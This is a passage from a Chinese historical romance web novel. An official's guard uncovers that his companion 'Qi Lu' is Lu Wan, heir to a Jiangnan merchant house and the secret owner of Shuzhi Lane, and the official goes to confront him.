他规划舒志巷时其实没想太多,只寄希望于满足梁蕴品的衣食住行,哪怕一点零碎的杂货也可即刻买到,不必为一根针一团线烦心。
梁蕴品听完阿生的话呷了口茶,嘴角一勾,“一心若能像你一样机灵,我便能轻松许多。”又无视一心愤怒的眼光,冲阿生抬了抬颌,“你继续说。”
“呃……小的也是听了少爷的推论,胡乱猜测的,其他便猜不到了……”
阿生卖了个乖,骤然想起这位工于心计的“东家”便是自家少爷,吓出一后背冷汗,讪笑着将求助的目光移向陆宛,“少爷,还是您……”
“……”陆宛叹了口气,娓娓道,“阿生推断得不假,但有一点,东西两市并非简单的分区,西市富,东市平,是那位东家因地制宜,缜密思考后的结果。”
“哦?”梁蕴品不曾想过这个层面,饶有兴致问,“你说?”
“我方才问过云掌柜,西市近接襄阳路,远衔落仙桥。听家中仆人说过,襄阳路是襄州出了名的‘黄金路’,襄州数一数二的富商与知府大人皆在那处置办了宅子,而落仙桥便是大人的通判府落地之处,据说沿街也有许多大户人家。”
陆宛抬起眼,“西市近水楼台,故而迎合富户,售卖华美贵重的物件,这才是舒志巷的重头戏。至于东市,一则弥补了西市零杂物件的短缺,二则,东市近着清水巷,听闻清水巷是襄州最大的匠人居住地,襄州城的一应建设,全都握在他们手中。”
“故而我猜想,那位东家设立东市,也并非全然为了银钱……若能叫匠人百姓生活得舒坦方便些,也算是做了一桩好事。”
一心认认真真地听着,听到最后嘴巴已然张成一个枣果大小,阿生则越发汗流浃背,眼神不敢直视陆宛,唯有梁蕴品听过后一声不吭,看着陆宛的眼神却黑得发亮。
“这这这就是经商吗?”一心回过神,努力将自己的下巴托正,“不过是一些铺子的编排而已,也太讲究了吧!”
陆宛抿唇一笑,“这只是十分寻常的布址规划,算不得什么。”又道,“至于大人方才说的,‘乱中有序,百花争艳’,才算是这位东家的小巧思。”
一心等不及了,“怎么说?”
“我方才沿街观察了一下,发现西市铺面的顺序十分规整,打头的两家一家卖金饰,一家卖古玩,都是给富贵人家长脸的玩意儿,卖两件便能顶一年的店租。”
陆宛眨了眨眼,声音像潺潺的流水般淌入三人耳中,“紧随其后的不是其他,而是西市仅有的几家金店与古玩店,再往后便是首饰、胭脂、布坊、鞋履……”
“铺子分门别类,一目了然,似乎并不惧怕同行竞争,而是大大方方,同台竞技。”
说到这,陆宛微微一笑,“我猜想,这位东家对舒志巷的谋划与其他街市略有不同,他就是要让目标明确的客人在三两步间买到自己的心头好,这样便可省去许多繁琐的步骤。”
“而对
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于那些只想出来打发时间的夫人小姐,从金银首饰到衣物鞋袜再到脂粉玩物,最后满足口腹之欲的顺序编排,也十分合她们的心意。”
“喔……难怪大人这么喜欢来舒志巷!”
一心恍然大悟,头点得跟捣蒜一般,“虽然其他街市想买什么也能买到,但若是想挑上一挑,每每换一家店便要乘车而往,十分不便,舒志巷倒是开创了不能骑马乘车入内的先河,却叫人买起东西来十分畅意,大抵也是这合理布局的功劳!”
陆宛点头轻笑,“你方才说,舒志巷中车马不能入内,实则也是无奈之举。舒志巷的位置很好,巷道却十分狭窄,仅能容一马一车并行,若是有哪位富户仗势欺人,将车马停在铺前,便会造成极大的拥堵。”
“因此我方才问了各位掌柜,他们都说,西市的每一家铺子,都能提供送货到府的服务,且是当晚送到。”
陆宛抬眼看向梁蕴品,却被他直白的目光盯得心神一颤,垂下睫来,“如此一来,客人便可空手而来,满载而归却又毫不费劲了。”
“老天爷……别说我家大人了,连我都想见见这位经商奇才了……”
一心碎碎叨叨,猛然发现自家主子已经很久没说话了,梁蕴品像入了定一般看着陆宛,而陆宛也觉察到他灼热的目光,自耳根到脖子红了一片。
“那什么……方才祁公子说的,应当是大人所说‘乱中有序’的部分吧~”
一心腆着脸替梁蕴品寻根究底,“那‘百花争艳’呢?难不成就是每种铺子多安排几家?”
陆宛一勾唇角,突然卖起了关子,“一心,我且问你,大人最喜欢哪家布坊的衣料?”
“自然是云衣坊。”一心想也不想,“我家老爷常说,‘衣贵洁,人贵品’,人若是品行不端,穿得再奢华艳丽也无用,因此我家大人自小便严于律己,穿衣也是顶素顶素的,连袖口上缝了几片暗云纹都不要。”
“但他如今是正六品通判,又是梁……悬梁刺股得来的功名,”一心话到嘴边,差点说秃噜嘴,尴尬地看了梁蕴品一眼,咽了咽口水道,“总不好日日穿着粗布麻衣去上值,因此夫人便嘱咐咱给大人置办最好的素罗素缎,哪怕一点纹饰都无,穿出去也不失体面。”
“刚巧,云衣坊便爱入那样的料子,大人每回过来都要选上两匹,有时公务太忙顾不上,还要让王伯特意来买。”
一心说着想到了什么,捂嘴窃笑,“小的那时还误会过云娘喜欢大人,毕竟其他布坊偶尔也会进这种料子,却不似云衣坊那般精准,回回新进的料子里,总有几匹料似是为大人量身定做的。”
陆宛笑笑不说话,阿生却在一旁翻起了白眼——自然是量身定做,只是下定之人哪里是什么云娘,明明是自家傻得可怜,一往情深的小少爷。
“所以……这同‘百花争艳’有什么干系吗?”
一心终于回到正题,却依旧困惑,陆宛笑而不答,只给了阿生一个眼神,阿生没好气地给他解释,“傻子,还看不出来,你是真没发现,这几家布坊虽然都做大户人家的生意,卖的料子却争奇斗艳,各有千秋么?”
“啊?”一心摸了摸后脑勺,“我……我哪儿懂那些料子啊……”
阿生看着他的傻样,叹了口气,“云衣坊的料子非罗即纱,素而不垮,轻盈有质,是大人这般喜好低调的文人墨客的挚爱;而邻家的‘凭阑观衣’更喜重工,蜀锦是他家的招牌;再往后,‘江南韵’偏好绣工好的料子,招牌是苏绣和湘绣;‘绯织坊’全是流光溢彩的织金锦与浮光锦……”
阿生说着说着,好整以暇地歪过头看着一心,“我家少爷在同掌柜们说话时,你都在神游吗?”
“我……”
一心下意识瞥了梁蕴品一眼,打了个哈哈,“嗨,我以为我的职责只是保护大人同祁公子的安全,哪想到还得听这个……所以你的意思是,舒志巷的东家,是故意让各店进不同样式和材质的顶级料子,来制造出这种……差异?”
“呵,没错。”
陆宛见一心总算开窍,笑得合不拢嘴,端起茶盏默默啖了一口,“但这样做会有风险,因为人的喜好是会变化的,尤其是贵眷,她们的眼睛会盯着京城的贵妇,而京城贵妇的品味,往往又同后宫中最尊贵与最得宠的女人‘不谋而合’。”
“因此,以某些料子为招牌的店铺,或许会在某些年份入不敷出,又会在某个不可预见的年份起死回生。”
“呃,所以……?”
一心越听越迷糊,见陆宛同阿生又不说话了,摆明了要考他的样子,急得干瞪眼。
“难为你如此费心要教一心,只是朽木不可雕也。”
梁蕴品沉默许久终于开了口,他沉下那毫不掩饰的欣赏的目光,抿了口茶,撩起眼冲一心缓缓摇了摇头,“所以,每家布坊除了特色招牌,也会进些时兴的料子一起售卖,以保证收支平衡。但若是每家布坊都只卖时兴料子,重合度便会极高,不喜追逐时兴的客人也会面临无料可买的局面。”
“因此那位东家为了维持‘百花齐放’的局面,背后定然是做出了许多努力,譬如……将赚来的银钱贴补到生意不佳的铺子,年复一年,好叫每一家店都能安安稳稳,长长久久地扎根在舒志巷中。”
“……”
一心头回听到如此不惜本钱的经营手法,登时眼大如斗,“您的意思是,这位东家辛苦经营舒志巷并不为财,就是为了有这么一条人人称道的街市,能长久地待在那个地方?”
“为什么?这……这说不通啊大人……”
一心捧着下巴看着天,绞尽脑汁却只想出一个解释,傻呵一乐,“总不好是为了‘尽地利、均赋役’,给您的政绩锦上添花吧~”
陆宛愣了一下,没想到一心看着不精明,却能将他经营舒志巷的另一层婉转心思一语道破,登时有些脸热。
梁蕴品却像是听到什么十分有趣的笑话,两瓣薄唇明明抿得很紧,唇角却恨不得勾到耳边。
“吃好了便回吧。”笑罢,他低声同陆宛道,弯似月弧的眼中透出一抹柔情,“今夜无事,我去盈蕖馆陪你。”
20. 20.暴露
“砰砰砰——”
“进来。”
“大人。”一心伴着斜阳推门而入,见梁蕴品正在写字,下意识放轻了声音,“我回来了。”
“嗯。”梁蕴品头也不抬,“有什么眉目了?”
“哎,别提了,忙活了大半个月,舒志巷那群伙计就跟被烫过舌头似的,半句话诈不出来。”
一心累得满头大汗,也顾不上请示,一屁股撂在客座,拎起茶壶便往自己嘴里灌,灌完了随便一抹嘴,就着歇息的姿势向梁蕴品汇报,“掌柜们也通通消失了,云娘自打那日之后便不见踪影,问了伙计,说是到川峡四路进货去了。”
“偏偏其他铺子的掌柜也要么去进货,要么一问三不知,您瞧金店那位面如弥勒的宋掌柜,天天端着个笑脸守口如瓶,看得老子火冒三丈。”
梁蕴品闻言岿然不动,笔下铁画银钩照旧,“若是能叫你轻易查到,才不是他。”
“还记得前两日湖州来信,说是费尽心思才摸到一丝线索,查到了钱庄背后的东家么?”
“自然忘不了。”一心咬咬牙,“那群吃干饭的废物,查了好几个月,居然同我说金湖钱庄的大东家是苏州祁家?”
“跑江湖的,谁不知道苏州祁家那位老祖宗是只野兔子?他恨不得往地上放个炮都能造出个娃!弄得祁家乌泱泱好几百口人,家中嫡庶派系纠缠不清一团乱麻,要在其中扒拉出一个父母双亡的孤子的身份,简直难于登天!”
“怎么,你还看不上这个线索?”
梁蕴品撩起眼皮,平静无澜的眸中生出淡淡一抹笑意,却又很快消失,“若不是他在舒志巷露了马脚,这个线索便能坐稳他祁家孤子的身份了。你技不如人,有什么好生气的。”
“我就是……就是,没想到祁公子居然能谋划到这一步嘛……”一心气不打一处来,又不敢说太重的话。
“呵,他从来不如表面看起来那般柔弱。”
梁蕴品又垂下眼,开始写“清静无为”四个大字,“你同我一齐见证过他拆穿假账本的场面,也清楚他曾以一己之力改造舒志巷,是居于幕后却能运筹帷幄之人。若你此时还将他视为人畜无害的小白兔,那便是你的失职了。”
“是……”一心有些诺诺,“那接下来小的应当……”
“继续查下去便可,云娘不可能一辈子不回来。”
梁蕴品手腕一勾,勾勒出一个柳骨颜筋的“清”字,“他那日便意识到会暴露,严防死守也在情理之中,慢慢来,总有那些掌柜松懈的一日。”
“是……”
一心耸耸鼻,抬脚要走,突然顿在原地,用复杂的目光扫向梁蕴品,踌躇着看了又看,直到梁蕴品眉心一蹙。
“有什么话便说,吞吞吐吐的成何体统。”
梁蕴品写上“静”字的第一横,手却莫名抖了抖,叫他怎么也看不顺眼,一抬手便将那张纸囫囵扯掉了。
“……”一心惴惴不安地上前,扭捏半晌才开口,“少爷,我怎么觉着,您最近……心情有些奇怪?”
“何出此言。”梁蕴品抽出新纸,重新落笔。
“就……您那日在舒志巷,即便意识到祁公子就是那位东家,他骗了您,您也一直笑脸迎之,温柔以待……”
一心有些忐忑,缓缓道,“可自打那日之后,但凡祁公子不在场,您便闷闷的,不大爱说话,有时批着公文就开始发愣,一副心事重重的模样……”
“少爷,您是有什么不痛快么?”
梁蕴品顿了顿,笔上墨汁在宣纸上泅开,才写一半的字又报废了。
“没有不痛快。”梁蕴品沉着脸又换了张纸,“我连着半个月都宿在盈蕖阁,连他都没看出我不痛快,你心眼倒多起来了。”
“……那是因为您对祁公子百依百顺,要星星不摘月亮,搁谁谁不昏头?”
一心一想到梁蕴品同陆宛腻歪的场面便浑身冒鸡皮疙瘩,强忍住翻白眼的冲动一语道破,索性将窝在心里的话一股脑倒了出来。
“少爷,小的打小同您一起长大,心眼多不多您最清楚,拢共就那么几个心眼,一大半都用在您身上了……”
一心道,“您每日从盈蕖馆出来,脸色便会更差一些,就好像……一直不得安眠,忧思深重似的。”
“所以少爷能否告诉小的,您到底是在忧心些什么呢?”
梁蕴品这幅字终于写到尽头,他落下最后一笔,看着纸上不甚满意的墨迹,沉着脸凝视许久。
半晌,他叹了口气,搁下笔抬头看向一心。
“一心,你知道……近乡情怯吗?”
“知道。”一心不解,“但少爷这也没打算回京啊……”
“不是那个。”梁蕴品很轻地摇摇头,吁了口气,“是一个人离真相越近,越不想知道真相。”
一心“啊”了一声,随即抿紧了唇。
“我原以为我同他之间,只有两种可能。”
梁蕴品憋闷太久,如今话篓子一开,便像在心防硬生生撕出个参差不齐的裂口,叫心事如决堤般泄了出来。
“要么,他是细作,咱们顺藤摸瓜找到幕后之人后,我便可将他禁锢在我身侧,叫他永远也不能再同外面联系。”
一心倒吸一口凉气,还没来得及做出评判,又听梁蕴品道,“又或者他真是个无依无靠孤子,只能如飘萍般依附于我,那我也将尽我所能,护他一辈子……”
梁蕴品垂下眼,倏忽凄然一笑,喃喃道,“说是他依附于我,我又何尝不是同他报团取暖,汲取他身上一丝人气为我续命?”
一心张了张嘴,骤然想到那个叫梁蕴品说出“从此我孤家寡人”的雨夜,又想到梁相对梁家子“不可近半分女色”的嘱托,一时间竟不知该劝些什么。
他终于明白梁蕴品为何要以乌纱帽作保,保住祁璐不落入沙卓之手……不仅仅是动了情,更重要的是——他早就做好了无论如何都留下祁璐的打算。
而沙卓是梁相的人,大相公若知晓此人来路不明,又透过他得知大人身中异毒,不杀了他灭口就算是仁慈了。
“所以,如今骤然冒出的第三种可能,便叫我心慌难抑……”梁蕴品睫毛微动,“不是细作,亦不是孤子,他或许是哪家娇滴滴的少爷,因倾心于我而奋不顾身跳入火坑,为我解毒……”
梁蕴品闭了闭眼,“若真如此,我宁愿他是细作。”
一心心中堵得慌,走上前去握了握梁蕴品冰凉的手背,“少爷,您别太悲观,即便祁公子就是哪家的少爷,只要您同他两情相悦,或许……或许可以……”
“或许什么?纳他为妾,还是娶他为妻?”
梁蕴品蓦地苦笑一声,“一心,你觉得襄州城内,能豪掷万金盘下舒志巷,再改造成如今这番模样的人,有几个?”
“……”一心如鲠在喉,“大概,一只手数得过来。”
“嗯。我再问你,若是叫襄州首富秦老爷将其嫡子入我府为妾,他当如何?”
一心忽然不敢想象那修罗场般的
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场面,“……秦老爷可能会上京去敲登闻鼓。”
梁蕴品又问,“那若是,我上门求娶他家少爷为妻呢?”
“这……”
一心脑筋狂转,眼珠子也转个没停,“若秦少爷也中意您,秦老爷或许生气,但到底是他们家攀上了高枝,说不准一咬牙一狠心,便同意了。”
“只是秦老爷再有钱,终究是个末流的商贾啊……”
一心想到这,突然心下一沉,眼神空了一瞬。
大相公同夫人,是定然不会答应这门亲事的。
原来这是盘死棋。
“呵……连你都想得到,你猜祁璐为何宁可隐姓埋名跟着我,也不肯同我坦白自己的身份?”
得到即失去,梁蕴品自那日起便有了预感——祁璐身份曝光之日,便是二人分离之时。
他有他的身份与尊荣,他亦有他的骄傲与担当。
“所以……大人当真还要继续查下去吗?”
梁蕴品站在书案前,形单影只的模样叫一心不忍直视,他头回真切地感受到主子的孤独与破碎,更难以想象经历帝王猜忌与奸人陷害的梁蕴品要如何踽踽独行。
“如果您不想查了,我便叫弟兄们……”
梁蕴品不答,仍垂眸深思着,院内却传来一阵凌乱而轻盈的脚步声,无需过多分辨便知道是沙卓一行。
“大人,”沙卓站定在院子中央,同手下抱臂一拱,自门外给梁蕴品行了个礼,“属下等有要事求见!”
“吱呀”一声,门开了,梁蕴品逆着斜阳最后一丝光亮,在昏暗的书房中静静看着沙卓。
“何事如此着急。”
“禀告大人,是关于祁璐,祁公子身份一事。”
沙卓微微一顿,似乎在等待梁蕴品传他入内,却久等不得。
于是微微抬眼,只见梁蕴品从书房内缓步走出,脸上写满了凝重,一心从身后跟了出来,看向沙卓的眼神像看一个死了的人。
“……”
沙卓深深地呼了口气,继而单膝跪地,抢在梁蕴品开口前铿锵有力道,“属下同弟兄们轮番潜入舒志巷各商铺内院探查,终于在今日截获有力证据。据云衣坊的账房同伙计亲口证实,那祁公子,便是唔呃——”
“卓哥!”
“沙卓!”
梁蕴品收回脚,看着被一群人围上去,仰躺在地捂着心口的沙卓,目露寒光。
“我让你说话了吗?沙卓。”梁蕴品冷声训斥,“你好大的胆子,这头应承我不再查他,那头却擅作主张,还爬进众商铺的内院窃听……你成何体统!”
“通判府的脸面,都叫你丢尽了!”
“大人!”
梁蕴品的一脚对沙卓而言不算什么,他缓过气,很快从青石板上爬起来,带着众人拱手垂头,毕恭毕敬地跪在梁蕴品面前,脸上却是义无反顾的神色。
“属下之过,由属下一人承担,要罚要打悉随尊便。可是大人断不可因噎废食,姑息养奸啊!”
沙卓身居低位,却不改疾言厉色,“大人被他蒙蔽了许久,难道不想听听他到底是谁,入通判府有什么见不得人的目的吗?”
“我——”
“大人不想听,但我却不得不说!即便大人要将我逐出府门!”
沙卓抬起头,那只凋零的独眼射出鹰一般犀利的光,“那人不叫祁璐,也不是什么父母双亡的苏州人士。”
“他姓陆,祖籍杭州,是江南首富陆之垣的嫡幺子,陆宛。”
21. 21.暗涌
“说吧,将你查到的事,一一道来。”
“是。”
门重重地一关,发出剧烈的撞击声,沙卓拱手弓腰,偏头瞥了眼关门的一心,又回过脸对上端于主座的梁蕴品。
“禀告大人,前日,小的潜伏在云衣坊内院的屋檐之上,听云衣坊的账房同伙计对账,那伙计像是个新来的,对大人买走了铺内所有软烟罗及雪缎一事颇感好奇,再三向账房打听大人之事。”
“那账房应是见怪不怪,只轻蔑一笑,叫他莫要多事,更不要妄想攀龙附凤。伙计似有不服,同他争辩,一来二去便说到了祁……陆宛。”
沙卓似乎不习惯这个名字,顿了顿才道,“那伙计以为,陆宛只是个寻常的贱籍男子,也能爬上大人的床,还如此受宠。他若是能放低身段敷粉描眉,或可与之拼上一拼。”
“可那账房听了,却呵斥他无礼,并道出了真相——陆宛乃是云衣坊,乃至整个舒志巷的小东家,休得藐视。”
书房内此刻只有一盏昏暗的油灯亮着,梁蕴品的脸隐在黑暗中,沉默地听着,直到此处才开了口。
“为何唤他‘小东家’而非‘东家’?”
“这便是我要同大人说的正题。”沙卓双手合拢一推,做出更加诚挚的姿态,“因为,舒志巷不是陆宛一人的产业,而是江南陆家的产业。”
“他们真正的东家,是富可敌国,掌控江南道商业命脉的陆家当家——陆之垣。”
“嘁,即便是陆之垣又有何稀奇?陆公子年方十八,借着父亲的名头来打理街市,给自己长长威风,也说得通吧!”
一心站在沙卓身后,抱着臂一脸不屑地看着他,“再说了,舒志巷的掌权人爱是谁是谁,有什么值得大惊小怪的吗?还说什么‘见不得人’的目的,当真是——”
“一心兄弟莫不是忘了自己的身份,真将盈蕖馆那位当作自己的主子,才罔顾大人的安危,强行为陆宛挽尊吧。”
“你说什么!”
沙卓无视一心的愤怒,自顾自继续道,“舒志巷的东家是谁确实不重要,但舒志巷为何存在,陆宛又为何放着好好的陆家少爷不当,非要改头换面来通判府做外室,便十分耐人寻味。”
“……你前日便得知消息,今日才来上报,想必是查到了什么吧。”
梁蕴品眉目如霜,眼神像一潭死水般看着前方,语气却十分笃定。
“大人明察。”沙卓直起腰,独眼再次射出犀利的光,“小的同弟兄们昼夜未眠,连夜到江南道附近查探陆之垣的底细,得知此人幼时曾是一名贱籍孤子,得蒙贵人救助抚养,去了贱籍,摸爬滚打才到了今日的位置。”
“而与他同被贵人救助的还有另一名孤子,此人同样机敏上进,却与陆之垣走了截然相反的一条路。”沙卓道,“陆之垣在江南商道左右逢源时,此人却在埋头读书,并于顺和十年间参加科考,得了二甲一十二名的好成绩,录入翰林院任庶吉士。”
“此后,这名举子被外放做官,官声鹊起,一路高升,并于顺和二十八年右迁,回到汴都。”
沙卓撩起眼皮,定定地看向面容晦暗的梁蕴品,“此人名叫——江守义。”
梁蕴品眸中映出油灯微微晃动的火苗,“你是指谏院,四品谏议大夫,江守义?”
“正是此人。”
一心皱了皱眉,不明白这位大人有什么问题,却听得幽暗主座上,梁蕴品呼吸微窒,屋内气氛骤然紧迫起来。
“你觉得,陆宛是江大人同陆家联手,放到我身边的细作。”
梁蕴品沉默半晌才抛出一句笃定十分的发问,自然也不需要沙卓的回答。
“江守义江大人,为官至今一身布衣刚直不阿,常从黎民百姓之福祉出发,参朝臣,谏官家,辩忠奸。”
梁蕴品沉声为江守义辩解,也是为陆宛辩解,“他虽与家父政见时有不合,但以他之高节,断然做不出此种龌龊之事。”
“大人,知人口面不知心,江大人虽官声在外,但他与大相公的政见当真如此不合么?依属下愚见,江大人屡次驳斥大相公,本质是寒门士子对世家贵族的挑衅,否则以大相公拳拳爱民之心,又怎会同他常生龃龉?”
沙卓虽只有一只独眼,却在梁相的培养下,对朝堂世事看得极为明白。
“自然,这只是属下的一面之词,大人对此存疑也是人之常情。”沙卓继续抽丝剥茧,“但属下还查到一件事,此事关乎大人的性命,望大人屏退左右,仅留属下一人在内详谈。”
“什么屏退左右?大人身边统共就我一人,左也是我右也是我!大人的性命就是我的性命,凭什么我就听不得?”
一心一听便怒了,此话不就冲他来的么?正想上前发作,却见梁蕴品“噌”一下站了起来,微微不稳的身形暴露在噼里啪啦爆开的灯花下,细看之下垂于身侧的手指还有些哆嗦。
“你,知道天旨?”
“天旨?”
一心和沙卓难得如此默契,一同出声,沙卓却很快反应过来,将眼中困惑迅速按了下去,“属下不知天旨,但大相公寻我们负责四位少爷的安危时,着实让我们见过一张单子。”
“大相公道,若单子上的姓名与四位少爷扯上关系,无论是好事还是坏事,务必打醒十二分精神护住主子,且单子上的人物……一个也不能泄露。”
梁蕴品被揪紧的心蓦地松了松,却猛然意识到自己说漏了嘴,他垂下眼,睨着吹胡子瞪眼,不明所以的一心,轻轻叹了口气。
“一心,你先出去。”
“什……大人!不管是那张单子还是什么天旨,但凡危害到您的性命,小的也应当知晓才是啊!”
一心心中顿生委屈,嘹亮的大嗓门也不免带上了鼻音,“小的可是同您一起长大,近身保护您的人!难道小的不该听——”
“听我的,你先出去罢……”
梁蕴品缓缓坐下,撑着头支在案几上,语气里是藏不住的疲倦,“日后若寻着机会,我会同你说……但不是今日。”
一心闭了嘴,不服的眼神像极了一只小兽,在梁蕴品和沙卓之间来回巡视。
“好,我出去。但沙卓你听好了——无论你如何瞧不起我,诬蔑我,无论大人来日说与不说……只要大人遇险,我一心都必定会拼出性命,护大人周全!”
他胡乱朝梁蕴品拱了拱手,头也不回地朝门外走去。
门页“嘎吱”一声重重合上,梁蕴品难以独支的腰杆仿佛又垮下来一些。
“现在可以说了罢。”
“谢大人信任。”
沙卓再次福了福身,眼皮微垂,压低了声调。
“陆之垣的发妻姓祁,叫祁慧书,乃苏州祁家,祁老爷子的长房嫡孙女。祁家乃商贾世家,然祁老爷子遍地留情,致使祁家人口众多,却不成气候。”
“祁老爷子仙逝后,祁家分家,四房之后的子孙根本分不到多少钱,如今大多皆已没落,唯有长房还算争气。”
不知为何,梁蕴品听到此处竟走了神,心中莫名浮起一个念想:原来他母亲真是祁家人。
如此,也算不得真骗了他。
“长房祁大老爷更是慧眼识人,将长女嫁给了当时还未闯出名头的陆之垣,致使祁家家业至今仍有一息尚存,保住了家族的荣华富贵。”沙卓续道,“然而,祁大老爷唯一的嫡子——祁慧书的亲弟弟祁慧远,却是个自视清高
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,但一事无成的纨绔。”
“属下查到他几次三番出入青楼,以疏通关系为由同一群富家子弟吃吃喝喝,成日无所事事。”沙卓嗤笑一声,“但傻人有傻福,这祁慧远虽草包,倒也真能走运。”
“三年前,他在酒桌上攀识了数位朝臣近亲,而其中一位,便是今太史局,太史令王仪之侄——王青松。”
梁蕴品一直支着额头垂眼听着,闻言却浑身一紧,深邃阴暗的眸里再度射出凛冽的光。
他缓缓起身,一步一步走下堂去,走到沙卓跟前定住。
“你的意思是,祁家,乃至陆家,都与太史令私交甚密。”
梁蕴品声音很沉,却没有多少穷根究底的意思,反倒问沙卓,“你既知太史令,还知道谁?那张单子上……到底有什么人是连一心都听不得的?”
“单子上所书者众。”沙卓答道,“但大相公曾言,其他人都是他兀自揣测,只需提高警惕。唯有两人需格外留神,一旦发现此二位故意生出端倪,意图将四位少爷牵连下水,须即刻剜疮割痈,绝不能叫星星之火燃起燎原之势。”
“一位正是太史令王大人,而另一位则是……当今陛下。”
果真如此。
梁蕴品骤然生出一股十分复杂的心情,眼神看似盯着沙卓,实则并未聚焦。
他在想父亲原来同他一样,怀疑天旨的真假,又迫于形势不得不从,只能从中虚与委蛇,暗自提防。
但梁家在明,敌却不止在暗。官家自天旨出世后便时常敲打梁家,更有许多蛰伏在暗处的小人,今日安插细作,明日落蛊下毒,十八般龌龊手段频出,要的就是梁家断子绝孙,并彻底从朝堂上消失。
梁蕴品闭了闭眼,竭力压下心火,良晌再睁眼时心中已是一片平静的废墟。
既然他与父亲都猜到了幕后之人的目的,那他再软弱下去任人鱼肉,便枉来这世上一遭了。
他会振作起来,甚至不惜将自己淬炼成一把锋利的刀。
但当务之急,还是要妥善解决眼下矛盾。
陆宛入通判府的动机自然还未被证实,但决不能凭沙卓三言两语就作定论……更何况沙卓如此架势,俨然就是要自己即刻“剜疮割痈”,斩草除根。
“你查出来这些,都不能直接证明,陆宛就是被安插到我身边的内应。”梁蕴品道,“你还有其他证据么?”
“有。属下听云衣坊账房同伙计道,陆宛每每传信来,都让云掌柜细细记下大人的喜好变化,尺寸鞋码,甚至于一言一行!这不就是……”
“行了,”梁蕴品露出不耐但克制的神色,“我只问你,这些事,你可曾上报家父?”
“不曾。”
沙卓说得笃定,倒让梁蕴品蹙了眉,“你不上报,就不怕我色迷心窍,宁可‘牡丹花下死’,也不愿处置陆宛吗?”
“属下相信大人不是这样的人。”沙卓依旧面不改色,“且当初大相公将我等遣出庄子时便已说明——从此,我们的主子不再是他,而是四位少爷。”
“大人的决定便是属下的决定,无论是错是对,属下等自当捍卫到底。”
“父亲他……”
梁蕴品口中喃喃,心里却遽然一软,方才还无波无澜的眼眸,此刻已多了三分柔情。
“哎,你直起身子罢,这么站着,也不嫌累得慌。”
“……是。”沙卓眨了眨独眼,直起腰同梁蕴品平视,却听他自言自语道,“今日此事,若是我不处置陆宛,大抵是过不去了。”
沙卓眉心微蹙,张了张嘴还想要说些什么,却见梁蕴品一甩袖子,径直朝门外走去。
“也罢,既然如此,我给他一个处置便是。”
22. 22.拆穿
盈蕖馆内。
夕阳西下,点点萤火跳动,同摇曳的烛光一同照亮了整个院落。
小厨房中炊烟袅袅,陆宛正学着阿生的样子,用勺背推动滚水中漂浮的碧玉饺子,饺子皮薄馅大,颗颗饱满,很难看出这是陆宛花一日时间便学来的手艺。
陆宛瞧着那晶莹剔透的水饺,心中莫名浮现梁蕴品大快朵颐的模样,禁不住勾了勾嘴角。
“诶,少爷小心!”
稍一分神,大铁勺便翻了个面,将炉灶里的开水溅了些出来,阿生赶紧接过铁勺,将陆宛推到一旁,心疼道,“您歇会儿吧,都累一天了,接下来的活让小的替您干就是。”
“我不累。”陆宛嗔了阿生一眼,露出了鲜见的俏皮的笑,“再累,难道能累得过从前学算账经营,同爹娘东奔西走的日子?”
“那怎么能混为一谈,”阿生熟练地舀起一大勺饺子装盘, “您这双手呀,是金枝玉叶的手,是写字记账的手,是点石成金的手!今日干了这许多粗活,已然是大大的委屈了。”
“噗呲,瞧你说的……”
陆宛笑眼弯弯,偏头道,“若做一顿饭便是委屈,那我娘日日为我爹做玫瑰茶酥,岂不是要委屈死了。”
阿生不应,只做了个鬼脸,叫陆宛看着有趣,便伸出一只裹着白面的食指戳了戳阿生的脸蛋,“你呀,年纪还小,还不懂这些……这叫情,致。”
“哎别戳——啧,少爷!”
阿生被陆宛戳得脸皮一痒,汤勺差点脱手,气急败坏道,“同您说过多少遍了,不要在做饭时玩闹!还有,我比您大,还大许多呢,可不能因我生得矮就占我年岁上的便宜啊……”
“哦,对对对,我该叫你阿生哥?”
陆宛笑得鼻头都皱起来了,指着锅里迟迟未捞起来的几个残饺,“这几个,好像要烂了……”
“哎呀,都怪您,非得闹我……”
“哈哈哈哈,对不住对不住,你快捞起来,我去看看姜婶回来没,问问她大人什么时候到~”
小厨房中的柴火噼啪与欢声笑语掩过了细碎的脚步声,陆宛净了手,回身一撩帘子,被杵在门口的梁蕴品三人猛一惊神,下意识退后半步,被梁蕴品一把揽住了腰。
“呃……大人?”
陆宛有些脸热,又增了几分惊喜,讷讷道,“您怎么到小厨房来了?这儿脏,您快回沁荷居歇着,晚食快——”
“先不用饭了。”
梁蕴品凝着脸,看不出心情好坏,手从陆宛腰际划了半圈,回到那纤细的手腕处一把扣住。
“跟我来,我有事要同你说。”
“这么急……”陆宛眨了眨眼,试探道,“边吃边说,可以吗?”
又偏头示意梁蕴品看看他的“杰作”:“这些饺子,是我今日——”
“祁公子还是听大人的话,先把话说完,再用饭吧。”
沙卓一改往常的沉闷,从梁蕴品侧后方窜出半个身子,阴鸷的独眼正好对上陆宛弯弯的眸,叫陆宛顿时生出一股寒意。
他敛了笑,抬眼同梁蕴品确认,而后惴惴不安地点了点头,“好,那大人随我来。”
……
小厨房的炊烟逐渐散了,香味消弭,只留下冷锅冷灶和几盘凉了的,黏成一坨的碧玉饺子。
梁蕴品阖上沁荷居的大门,将三个仆从隔在门外,回身同陆宛对视,却一时不知从何说起。
“大人……到底发生什么事了?”
陆宛左等右等等不来梁蕴品开口,只好大着胆子迎上前去,试探着抚上梁蕴品的手背。
手背有些凉……但还好,梁蕴品不曾躲开他。
陆宛心中暗自松了大半。
他抬头凝视梁蕴品深不见底的眸子,想尝试从中挖出些什么,“是知府大人给你脸色了?还是……遇到十分棘手的案件了?”
梁蕴品瞧着他,极轻极缓地摇了摇头,却叫陆宛更加困惑。
“都不是么,那是……”
陆宛歪了歪头,梁蕴品也跟着他动作移动视线,目光粘稠而深邃,叫这一方暗室突然起了旖旎的氛围。
是……药瘾犯了?
陆宛喉结一滚,登时有些不敢动了,他垂眼闪避着梁蕴品的目光,心中却有一个声音逐渐放大——你知道该怎么做。
他只有你,你是他唯一的解药。
念及此,陆宛深吸一口气,鼓起勇气撩起眼,同梁蕴品的视线汇于一处。
倏忽,他脚尖一踮,极快地给梁蕴品唇角印上了一个轻柔的吻。
“……”
“是,是要这个么……”
陆宛浑身紧绷,皮肤从耳根红到了锁骨,眸子里却未沾半分欲念,唯有稚嫩的探索与浓得化不开的爱意。
梁蕴品的眸色更深了,却依旧不答话,也不否认。
也不是么……陆宛有些不知所措。
